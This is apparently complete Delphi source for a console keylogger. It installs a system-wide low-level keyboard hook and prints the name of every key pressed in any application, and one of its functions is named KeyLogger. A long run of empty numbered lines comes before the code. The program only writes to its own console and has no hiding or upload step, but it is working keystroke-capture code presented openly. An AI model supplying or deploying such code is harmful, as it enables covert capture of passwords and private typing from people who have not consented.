1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116: 117: 118: 119: 120: 121: 122: 123: 124: 125: 126: 127: 128: 129: 130: 131: 132: 133: 134: 135: 136: 137: 138: 139: 140: 141: 142: 143: 144: 145: 146: 147: 148:
| program Hook; {$APPTYPE CONSOLE}
uses windows, Messages;
type tagKBDLLHOOKSTRUCT = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: DWORD; end; TKbDllHookStruct = tagKBDLLHOOKSTRUCT; PKbDllHookStruct = ^TKbDllHookStruct;
var hkeyhook: HHOOK;
const WH_KEYBOARD_LL = 13; function KeyEvent(code: integer; wParam: word; lParam: longword): longword; stdcall; forward; exports Keyevent;
function KeyEvent(code: integer; wParam: word; lParam: longword): longword; stdcall; var szKeyName: array[0..255] of Char; hooked: TKbDllHookStruct; dwMsg: DWORD; i: integer; begin if ( (code = HC_ACTION) and ( (wParam = WM_SYSKEYDOWN) or (wParam = WM_KEYDOWN) ) ) then begin CopyMemory(@hooked,Pointer(lParam),sizeof(TKbDllHookStruct));
dwMsg := 1; dwMsg := dwMsg + (hooked.scanCode shl 16); dwMsg := dwMsg + (hooked.flags shl 24);
ZeroMemory(@szKeyName,sizeof(szKeyName)); szKeyName[0] := '['; i := GetKeyNameText(dwMsg, szKeyName+1, sizeof(szKeyName))+1; szKeyName[i] := ']';
write(szKeyName); end; Result := CallNextHookEx(hkeyhook,code,wParam,lParam); end;
procedure MsgLoop(); var msg: tagMsg; begin while GetMessage(msg, 0, 0, 0) do begin TranslateMessage(msg); DispatchMessage(msg); end; end;
function KeyLogger(lpParameter: Pointer): DWORD; stdcall; var hExe: HINST; begin
Hexe := GetModuleHandle(nil); if (hExe = 0) then hExe := LoadLibrary(PChar(lpParameter));
if hExe = 0 then begin result := 1; exit; end;
hkeyhook := SetWindowsHookEx(WH_KEYBOARD_LL, @Keyevent, hExe, 0);
MsgLoop(); UnhookWindowsHookEx(hKeyHook); Result := 1; end;
var hThread: Hwnd; dwThread: DWORD; exThread: DWORD;
begin
hThread := CreateThread( nil, 0, @KeyLogger, nil, 0, dwThread);
if (hthread <> 0) then begin WaitForSingleObject(hThread,INFINITE); end;
end. |